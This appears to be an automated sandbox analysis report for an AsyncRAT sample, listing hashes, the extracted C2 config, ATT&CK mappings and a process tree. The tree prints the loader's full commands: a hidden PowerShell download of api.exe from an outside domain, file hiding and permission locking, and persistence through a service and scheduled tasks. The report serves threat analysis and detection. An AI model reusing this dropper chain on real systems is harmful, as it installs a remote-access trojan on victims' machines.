asyncrat | b998ac6f33c65eb3acf176dc0e8cebf1532cdb137a5df3bc1511ced92a6c00ee

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/08/2026, 17:54

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General

Target
run.cmd
Size 1KB
Sample260816-wgyr4stdna
SHA256 b998ac6f33c65eb3acf176dc0e8cebf1532cdb137a5df3bc1511ced92a6c00ee
MD5 bdd0ac34cc08cc34c1030592fc453fa0
SHA1 ba42a13a45d8c812ab5819b9031e0fafbc0dce50
SHA512 f6f0ce2809183ca16d2a31c8c7acde78ee63e398896e11fa06927efb43c5aa6a214f018f912a2a0985b68a108343b658e58bc3820580d1c5425952428d31d0f2
TLSH
T1C931EF77B90A48E80C4857FA416A7B84EB08AF563F73F5E05AC0155AACD13DD800CDC7
MD5 SHA1 SHA512 TLSH

Score

10^/10

slumzick defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Botnet

slumzick

45.141.27.211:3232

Attributes

delay
1
install
true
install_file
system.exe
install_folder
%AppData%
local_host
127.0.0.1

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000e00000001c549-18.dat	family_asyncrat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5948	powershell.exe
5948	powershell.exe
4872	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	5948	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
1228	api.exe
1436	api.exe
4612	system.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2508	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe	api.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\tmp4A3E.tmp.bat	api.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4392	sc.exe
4316	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3408	cmd.exe
4928	cmd.exe
360	cmd.exe
4364	cmd.exe
252	cmd.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
6016	timeout.exe
4896	timeout.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	api.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	api.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	api.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	api.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	api.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5904	schtasks.exe
1100	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
5948	powershell.exe
5948	powershell.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
1228	api.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeDebugPrivilege	1228	api.exe
Token: SeDebugPrivilege	4872	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 360 wrote to memory of 5948	360	cmd.exe	90
PID 360 wrote to memory of 2900	360	cmd.exe	91
PID 360 wrote to memory of 2508	360	cmd.exe	92
PID 360 wrote to memory of 4392	360	cmd.exe	93
PID 360 wrote to memory of 4316	360	cmd.exe	94
PID 1228 wrote to memory of 4364	1228	api.exe	96
PID 1228 wrote to memory of 252	1228	api.exe	98
PID 4364 wrote to memory of 5904	4364	cmd.exe	100
PID 360 wrote to memory of 4872	360	cmd.exe	101
PID 252 wrote to memory of 4896	252	cmd.exe	102
PID 4872 wrote to memory of 1436	4872	powershell.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2900	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\run.cmd"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://slumzick.in.th/api.exe' -OutFile 'C:\ProgramData\api.exe' -UseBasicParsing"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5948
- C:\Windows\system32\attrib.exe
  attrib +h +s +r "C:\ProgramData\api.exe"
  2⤵
  - Views/modifies file attributes
  PID:2900
- C:\Windows\system32\icacls.exe
  icacls "C:\ProgramData\api.exe" /deny "Everyone":(DE,DC)
  2⤵
  - Modifies file permissions
  PID:2508
- C:\Windows\system32\sc.exe
  sc create "APIService" binPath= "C:\ProgramData\api.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:4392
- C:\Windows\system32\sc.exe
  sc start "APIService"
  2⤵
  - Launches sc.exe
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\ProgramData\api.exe' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\ProgramData\api.exe
    "C:\ProgramData\api.exe"
    3⤵
    - Executes dropped EXE
    PID:1436
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Users\Admin\AppData\Roaming\system.exe"' & exit
      4⤵
      Executes a command shell one-liner
      PID:3408
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Users\Admin\AppData\Roaming\system.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp59AF.tmp.bat""
      4⤵
      Executes a command shell one-liner
      PID:4928
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:6016
    - - C:\Users\Admin\AppData\Roaming\system.exe
        
        "C:\Users\Admin\AppData\Roaming\system.exe"
        5⤵
        
        PID:2652

C:\ProgramData\api.exe
C:\ProgramData\api.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Windows\SystemTemp\tmp4A3E.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:252
- - C:\Windows\System32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4896
- - C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe
    "C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe"
    3⤵
    PID:1112

C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe
"C:\Windows\system32\config\systemprofile\AppData\Roaming\system.exe"
1⤵
- Executes dropped EXE
PID:4612

C:\Users\Admin\AppData\Roaming\system.exe
"C:\Users\Admin\AppData\Roaming\system.exe"
1⤵
PID:2036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

api.exe

Path C:\ProgramData\api.exe
Size 63KB
SHA256 f3c209537942589174a5a2292b7a95f65591c0534272ec3ee1c2a48049b0b775
MD5 8be747f5a3a6811bafce68c843cc387b
SHA1 ca6732d9136ffb87ffb448250dcc0b65874fd8f0
SHA512 638765decca599e892d954c0714b8bd1e45a99a3f9eabc66c10729218ac44e78fcdf29d35e25ff38f4ad896a6f1c5f814495d2e064ba9aa27b625fb60e3e999b
SSDEEP 768:0k/9PXn1w787gC8A+Xvon4a207/VUo/1+T4TSBGHmDbDppB0oXZz1Su4dpqKYhY7:BR1gMxJ/BYYUb7B92u4dpqKmY7
TLSH
T1C1536C0137ACC966E2AE86B8BCF2550006B1D2772512DA1E3CC850DB6B5FFC646527FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 452eb598b2884fd99242cb5db005e3ac8e31bc9e3d58fe88ad0dd79ba08fbfd1
MD5 33f7a6fe6a1ea0bc7232e4b50743aaab
SHA1 f6389fac11178ade648f5f722858ade7790e8676
SHA512 64fed57e8e59a8d4c52029e5b9a9e95959a860dd2b01f96eda9e0484d0ae4572a4759db8892bacc9ddc3f3b2def74d2f9da00853aedc08b55520c731ed45658a
TLSH
T12C115733F3CC8724DC9A413650CEAC1136B687DB409ECE6BBB84D548B42F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

tmp59AF.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp59AF.tmp.bat
Size 150B
SHA256 5077907740d21f9db70455bbfb32163240e0a89f0a18ab381da96ade627a5964
MD5 faab3e473473151a2a3727fa3c4ad8f6
SHA1 d738d458bcd4d1cb459bae9d975d769788c1a5c7
SHA512 05d7b854e0b02205a87767fb278ef450a47ff459ab9c76aa3402850cee3d100cbb223934ac1aa4d079a1592c197a3e209eb97fafe0b3fe849da3adc006a6de9c
TLSH
T1C3C02B4A56CAEB1F7809141303FAD98C95727D9A3F45BF00D784401E728044CF4EA351
MD5 SHA1 SHA512 TLSH

Submit Download

tmp4A3E.tmp.bat

Path C:\Windows\SystemTemp\tmp4A3E.tmp.bat
Size 164B
SHA256 b9df0ab8722e6dfdbb5617d07e617febd558fb4e85a4b54c44cfd0aeaa7fc654
MD5 cffdc9ac85255dab2aa678a625c5394d
SHA1 3d17807329db29b43ee9fb133cc21f6e6eba6a66
SHA512 803753f27b69df694a7734ff19ed0a92abc96673ca2eecc92f2f2d025d04fe7bd7729e6ee96dce0d29db86fd2d9ab81079b332dd090f040af2ee0a87706c788b
TLSH
T19DC08096574955B2A4152C6011AE4D105E36F1963500863053C51056E5500469B7DDF8
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1112-43-0x00000000017B0000-0x00000000017CE000-memory.dmp

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memory/1112-42-0x0000000001760000-0x0000000001794000-memory.dmp

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memory/1112-41-0x000000001A340000-0x000000001A3B6000-memory.dmp

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memory/1228-19-0x0000000000D20000-0x0000000000D36000-memory.dmp

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memory/5948-6-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-14-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-13-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-10-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-9-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-8-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-7-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-0-0x00007FFA5146F000-0x00007FFA51470000-memory.dmp

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memory/5948-5-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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memory/5948-4-0x0000018237780000-0x00000182377A2000-memory.dmp

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memory/5948-3-0x00007FFA512E0000-0x00007FFA51C84000-memory.dmp

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